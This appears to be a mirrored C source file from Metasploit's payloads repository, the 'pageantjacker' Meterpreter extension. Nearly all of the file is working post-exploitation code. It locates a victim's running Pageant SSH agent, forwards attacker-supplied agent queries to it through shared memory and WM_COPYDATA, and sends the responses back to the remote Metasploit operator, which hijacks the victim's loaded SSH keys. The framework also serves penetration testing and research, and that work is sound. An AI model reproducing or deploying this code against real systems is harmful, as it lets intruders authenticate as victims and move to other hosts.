mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
212 lines
7.4 KiB
C
212 lines
7.4 KiB
C
/*!
|
|
* @file pageantjacker.c
|
|
* @brief Entry point and intialisation functionality for the pageantjacker extention.
|
|
*/
|
|
#include "extapi.h"
|
|
#include "common_metapi.h"
|
|
#include "pageantjacker.h"
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
|
|
// Results from the pageant query function
|
|
typedef struct pageant_query_results {
|
|
BOOL result;
|
|
unsigned int errorMessage;
|
|
byte *blob;
|
|
DWORD bloblength;
|
|
} PAGEANTQUERYRESULTS;
|
|
|
|
// Class and window name
|
|
#define PAGEANT_NAME L"Pageant"
|
|
|
|
#define PAGEANTJACKER_ERROR_NOERROR 0
|
|
#define PAGEANTJACKER_ERROR_SENDMESSAGE 1
|
|
#define PAGEANTJACKER_ERROR_MAPVIEWOFFILE 2
|
|
#define PAGEANTJACKER_ERROR_CREATEFILEMAPPING 3
|
|
#define PAGEANTJACKER_ERROR_ALLOC 4
|
|
#define PAGEANTJACKER_ERROR_REQSTRINGBUILD 5
|
|
#define PAGEANTJACKER_ERROR_NOTFOUND 6
|
|
#define PAGEANTJACKER_ERROR_NOTFORWARDED 7
|
|
|
|
#define AGENT_MAX 8192
|
|
#define AGENT_COPYDATA_ID 0x804e50ba
|
|
#define PAGENT_REQUEST_LENGTH 23
|
|
|
|
DWORD get_length_response(byte *b) {
|
|
return (b[3]) | (b[2] << 8) | (b[1] << 16) | (b[0] << 24);
|
|
}
|
|
|
|
void send_query_to_pageant(byte *query, unsigned int querylength, PAGEANTQUERYRESULTS *ret) {
|
|
|
|
// This will always be 23 chars. Initialised to zero here = no memset()
|
|
char strPuttyRequest[PAGENT_REQUEST_LENGTH] = { 0 };
|
|
COPYDATASTRUCT pageant_copy_data;
|
|
unsigned char *filemap_pointer = NULL;
|
|
HANDLE filemap = NULL;
|
|
HWND hPageant = NULL;
|
|
unsigned int protocol_return_length = 0;
|
|
unsigned int api_result = 0;
|
|
|
|
// Initialise the results arrays
|
|
ret->result = FALSE;
|
|
ret->errorMessage = PAGEANTJACKER_ERROR_NOERROR;
|
|
|
|
hPageant = FindWindowW(PAGEANT_NAME, PAGEANT_NAME);
|
|
if (hPageant == NULL) {
|
|
// Could not get a handle to Pageant. This probably means that it is not running.
|
|
ret->errorMessage = PAGEANTJACKER_ERROR_NOTFOUND;
|
|
return;
|
|
}
|
|
|
|
dprintf("[PJ(send_query_to_pageant)] Pageant Handle is %x", hPageant);
|
|
|
|
// Generate the request string and populate the struct
|
|
if (_snprintf_s((char *)&strPuttyRequest,
|
|
sizeof(strPuttyRequest), _TRUNCATE, "PageantRequest%08x",
|
|
(unsigned int)GetCurrentThreadId()) <= 0)
|
|
{
|
|
// _snprintf_s failed. Note that this should never happen because it could
|
|
// mean that somehow %08x has lost its meaning. Essentially though this is
|
|
// here to guard against buffer overflows.
|
|
ret->errorMessage = PAGEANTJACKER_ERROR_REQSTRINGBUILD;
|
|
return;
|
|
}
|
|
|
|
pageant_copy_data.dwData = AGENT_COPYDATA_ID;
|
|
pageant_copy_data.cbData = sizeof(strPuttyRequest);
|
|
pageant_copy_data.lpData = &strPuttyRequest;
|
|
dprintf("[PJ(send_query_to_pageant)] Request string is at 0x%p (%s)",
|
|
&pageant_copy_data.lpData, pageant_copy_data.lpData);
|
|
|
|
// Pageant effectively communicates with PuTTY using
|
|
// shared memory (in this case, a pagefile backed
|
|
// memory allocation).
|
|
// It will overwrite this memory block with the result
|
|
// of the query.
|
|
filemap = CreateFileMappingA(INVALID_HANDLE_VALUE,
|
|
NULL, PAGE_READWRITE, 0, AGENT_MAX, (char *)
|
|
&strPuttyRequest);
|
|
if (filemap == NULL || filemap == INVALID_HANDLE_VALUE) {
|
|
ret->errorMessage = PAGEANTJACKER_ERROR_CREATEFILEMAPPING;
|
|
goto out;
|
|
}
|
|
|
|
dprintf("[PJ(send_query_to_pageant)] CreateFileMappingA returned 0x%x", filemap);
|
|
filemap_pointer = MapViewOfFile(filemap, FILE_MAP_WRITE, 0, 0, 0);
|
|
if (filemap_pointer == NULL) {
|
|
ret->errorMessage = PAGEANTJACKER_ERROR_MAPVIEWOFFILE;
|
|
goto out;
|
|
}
|
|
|
|
dprintf("[PJ(send_query_to_pageant)] MapViewOfFile returned 0x%x", filemap_pointer);
|
|
|
|
dprintf("going to copy %u bytes of %p to %p", querylength, query, filemap_pointer);
|
|
// Initialise and copy the request to the memory block that will be passed to Pageant.
|
|
SecureZeroMemory(filemap_pointer, AGENT_MAX);
|
|
if (querylength) {
|
|
memcpy(filemap_pointer, query, querylength);
|
|
}
|
|
dprintf("copied");
|
|
|
|
dprintf("[PJ(send_query_to_pageant)] Request length: %d. "
|
|
"Query buffer: %02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X. "
|
|
"Request buffer: %02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X",
|
|
querylength,
|
|
query[0], query[1], query[2], query[3], query[4], query[5], query[6], query[7],
|
|
filemap_pointer[0],
|
|
filemap_pointer[1],
|
|
filemap_pointer[2],
|
|
filemap_pointer[3],
|
|
filemap_pointer[4],
|
|
filemap_pointer[5],
|
|
filemap_pointer[6],
|
|
filemap_pointer[7]);
|
|
|
|
// Send the request message to Pageant.
|
|
dprintf("[PJ(send_query_to_pageant)] Ready to send WM_COPYDATA");
|
|
SetLastError(ERROR_SUCCESS);
|
|
SendMessage(hPageant, WM_COPYDATA, (WPARAM) NULL, (LPARAM) &pageant_copy_data);
|
|
if (GetLastError() != ERROR_SUCCESS) {
|
|
// SendMessage failed
|
|
ret->errorMessage = PAGEANTJACKER_ERROR_SENDMESSAGE;
|
|
goto out;
|
|
}
|
|
|
|
protocol_return_length = get_length_response(filemap_pointer) + 4;
|
|
dprintf("[PJ(send_query_to_pageant)] Result length: %d. "
|
|
"Result buffer: %02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X",
|
|
protocol_return_length,
|
|
filemap_pointer[0],
|
|
filemap_pointer[1],
|
|
filemap_pointer[2],
|
|
filemap_pointer[3],
|
|
filemap_pointer[4],
|
|
filemap_pointer[5],
|
|
filemap_pointer[6],
|
|
filemap_pointer[7]);
|
|
|
|
if (protocol_return_length && protocol_return_length < AGENT_MAX) {
|
|
ret->blob = calloc(1, protocol_return_length);
|
|
if (ret->blob == NULL) {
|
|
dprintf("[PJ(send_query_to_pageant)] Malloc error (length: %d).", protocol_return_length);
|
|
ret->errorMessage = PAGEANTJACKER_ERROR_ALLOC;
|
|
goto out;
|
|
}
|
|
|
|
memcpy(ret->blob, filemap_pointer, protocol_return_length);
|
|
ret->bloblength = protocol_return_length;
|
|
ret->result = TRUE;
|
|
}
|
|
|
|
out:
|
|
if (filemap_pointer) {
|
|
api_result = UnmapViewOfFile(filemap_pointer);
|
|
dprintf("[PJ(send_query_to_pageant)] UnmapViewOfFile returns %d.", api_result);
|
|
}
|
|
|
|
if (filemap) {
|
|
api_result = CloseHandle(filemap);
|
|
dprintf("[PJ(send_query_to_pageant)] CloseHandle (from CreateFileMapping) returns %d.", api_result);
|
|
}
|
|
}
|
|
|
|
DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
DWORD rawDataSizeIn = 0;
|
|
byte *rawDataIn = NULL;
|
|
PAGEANTQUERYRESULTS results = { 0 };
|
|
|
|
// Retrieve from metasploit
|
|
rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN, &rawDataSizeIn);
|
|
|
|
dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn);
|
|
|
|
// Make sure that the length marker can never go above AGENT_MAX (i.e. prevent a stack based buffer overflow later)
|
|
if (rawDataSizeIn >= AGENT_MAX) {
|
|
rawDataSizeIn = AGENT_MAX - 1;
|
|
}
|
|
|
|
// Interact with Pageant. Note that this will always return a struct, even if the operation failed.
|
|
dprintf("[PJ(request_pageant_send_query)] Forwarding query to Pageant");
|
|
send_query_to_pageant(rawDataIn, rawDataSizeIn, (PAGEANTQUERYRESULTS *) &results);
|
|
|
|
// Build the packet based on the respones from the Pageant interaction.
|
|
met_api->packet.add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
|
|
met_api->packet.add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
|
|
met_api->packet.add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
|
|
dprintf("[PJ(request_pageant_send_query)] Success: %d. Return data len "
|
|
"%d, data is at 0x%p. Error message at 0x%p (%d)",
|
|
results.result, results.bloblength, results.blob,
|
|
&results.errorMessage, results.errorMessage);
|
|
|
|
free(results.blob);
|
|
|
|
// Transmit the packet to metasploit
|
|
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|